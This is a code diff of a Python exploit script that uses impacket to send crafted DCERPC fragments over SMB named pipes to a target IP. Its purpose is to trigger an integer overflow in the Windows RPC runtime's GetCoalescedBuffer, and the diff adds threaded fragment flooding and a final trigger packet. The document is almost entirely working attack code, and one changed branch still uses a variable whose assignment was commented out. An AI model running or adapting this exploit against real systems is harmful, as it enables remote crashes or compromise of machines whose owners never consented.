| skipped 8 lines |
9 | 9 | | from impacket.dcerpc.v5.transport import LOCALTransport |
10 | 10 | | from impacket.dcerpc.v5.transport import DCERPC_v5 |
11 | 11 | | |
| 12 | + | import threading |
12 | 13 | | import sys |
13 | 14 | | |
14 | 15 | | def My_DCERPCTransportFactory(stringbinding): |
| skipped 43 lines |
58 | 59 | | def get_dce_rpc(self): |
59 | 60 | | return MYDCERPC_v5(self) |
60 | 61 | | |
61 | | - | def my_gettid(self): |
62 | | - | return self._SMBTransport__tid |
63 | | - | |
64 | | - | def my_gethandle(self): |
65 | | - | return self._SMBTransport__handle |
66 | | - | |
67 | 62 | | def modify_packets(self, data, flag, alloc_hint, call_id, frag_len, buf): |
68 | 63 | | tmp_d = data[0:3] |
69 | 64 | | if flag is not None: |
| skipped 25 lines |
95 | 90 | | else: |
96 | 91 | | tmp_d += data[24:] |
97 | 92 | | return tmp_d |
| 93 | + | |
| 94 | + | def get_integer_overflow(self, data, index_, no_threads): |
| 95 | + | raw_d = b'A'*0x1000 |
| 96 | + | i = 0 |
| 97 | + | tot_req = ((0x100000000 - 0x1000)//0x1000)//no_threads |
| 98 | + | print("\t[+] thread{} starts to send {} fragments...".format(index_, tot_req)) |
| 99 | + | # sends multiple packets with no last fragment -> at some point expects some crash |
| 100 | + | d = self.modify_packets(data, 0, 0, 4, len(raw_d)+self.fixed_header_len, raw_d) |
| 101 | + | while i < tot_req: |
| 102 | + | try: |
| 103 | + | super().get_smb_connection().writeFile(self._SMBTransport__tid, self._SMBTransport__handle, d) |
| 104 | + | except Exception as e: |
| 105 | + | print("[-] Exception Got on {}th send: {}".format(i,e)) |
| 106 | + | break |
| 107 | + | i += 1 |
| 108 | + | |
| 109 | + | def run_in_parallel(self, data): |
| 110 | + | threads = [] |
| 111 | + | thread_max = 1 |
| 112 | + | print("[+] starts threads to overflow the integer in GetCoalescedBuffer faster") |
| 113 | + | # wait for all threads |
| 114 | + | for i in range(0, thread_max): |
| 115 | + | th1 = threading.Thread(target=self.get_integer_overflow, args=([data, i, thread_max])) |
| 116 | + | th1.start() |
| 117 | + | threads.append(th1) |
| 118 | + | # wait for all threads |
| 119 | + | for i in range(0, thread_max): |
| 120 | + | threads[i].join() |
98 | 121 | | |
99 | 122 | | # Override transport send in order to modify packet frag len |
100 | 123 | | def send(self,data, forceWriteAndx = 0, forceRecv = 0): |
101 | | - | tid = self.my_gettid() |
102 | | - | handle = self.my_gethandle() |
103 | | - | i = 0 |
104 | | - | fixed_header_len = 0x18 |
| 124 | + | self.fixed_header_len = 0x18 |
105 | 125 | | global fragment_size |
106 | 126 | | ''' |
107 | 127 | | 0ffset 0 : version 1 byte long |
| skipped 11 lines |
119 | 139 | | offset 24 + frag len : auth part auth len long |
120 | 140 | | ''' |
121 | 141 | | if b'DATATOSEND!' in data: |
122 | | - | raw_d = b'A'*1024 |
| 142 | + | raw_d = b'A'*0x1000 |
| 143 | + | alloc_hint = 0x1000 |
123 | 144 | | # alloc_hint == len(raw_d)+fixed_header_len - fixed_header_len => makes on the first packet to enter in DispatchRpcCall() that set this + 0x214 to 1 |
124 | | - | d = self.modify_packets(data, 0x1, 1024, 4, len(raw_d)+fixed_header_len, raw_d) |
| 145 | + | print("[+] Sending first fragment packet to make (*(int *)(this + 0x1d8) == *(int *)(this + 0x248) and enter the putOnqueue code") |
| 146 | + | print("\tAlloc_hint = {}".format(alloc_hint)) |
| 147 | + | print("\tLen PDU payload = {}".format(len(raw_d))) |
| 148 | + | d = self.modify_packets(data, 0x1, alloc_hint, 4, len(raw_d)+self.fixed_header_len, raw_d) |
125 | 149 | | super().get_smb_connection().writeFile(self._SMBTransport__tid, self._SMBTransport__handle, d) |
126 | | - | while True: |
127 | | - | # sends multiple packets with no last fragment -> at some point expects some crash |
128 | | - | d = self.modify_packets(data, 0, 0, 4, len(raw_d)+fixed_header_len, raw_d) |
129 | | - | try: |
130 | | - | super().get_smb_connection().writeFile(self._SMBTransport__tid, self._SMBTransport__handle, d) |
131 | | - | except Exception as e: |
132 | | - | print("[-] Exception Got on {}th send: {}".format(i,e)) |
133 | | - | break |
134 | | - | i += 1 |
| 150 | + | # run multiple threads to trigger faster integer overflow |
| 151 | + | self.run_in_parallel(data) |
| 152 | + | input("[+] Enter to trigger with the last fragment!") |
| 153 | + | d = self.modify_packets(data, 2, 0, 4, len(raw_d)+self.fixed_header_len, raw_d) |
| 154 | + | super().get_smb_connection().writeFile(self._SMBTransport__tid, self._SMBTransport__handle, d) |
135 | 155 | | else: |
136 | 156 | | # setting multiplex in the DCERPC |
137 | | - | d = self.modify_packets(data, int.from_bytes(data[4:5], "big") | 0x10, None, None, None, None) |
138 | | - | if len(d) > fragment_size: |
| 157 | + | #d = self.modify_packets(data, int.from_bytes(data[4:5], "big") | 0x10, None, None, None, None) |
| 158 | + | #if len(d) > fragment_size: |
| 159 | + | if len(data) > fragment_size: |
139 | 160 | | offset = 0 |
140 | 161 | | while 1: |
141 | 162 | | toSend = d[offset:offset+fragment_size] |
| skipped 2 lines |
144 | 165 | | super().get_smb_connection().writeFile(self._SMBTransport__tid, self._SMBTransport__handle, toSend) |
145 | 166 | | offset += len(toSend) |
146 | 167 | | else: |
147 | | - | super().get_smb_connection().writeFile(self._SMBTransport__tid, self._SMBTransport__handle, d) |
| 168 | + | super().get_smb_connection().writeFile(self._SMBTransport__tid, self._SMBTransport__handle, data) |
148 | 169 | | |
149 | 170 | | protoseq = "ncacn_np" |
150 | 171 | | ip = sys.argv[1] |
| skipped 24 lines |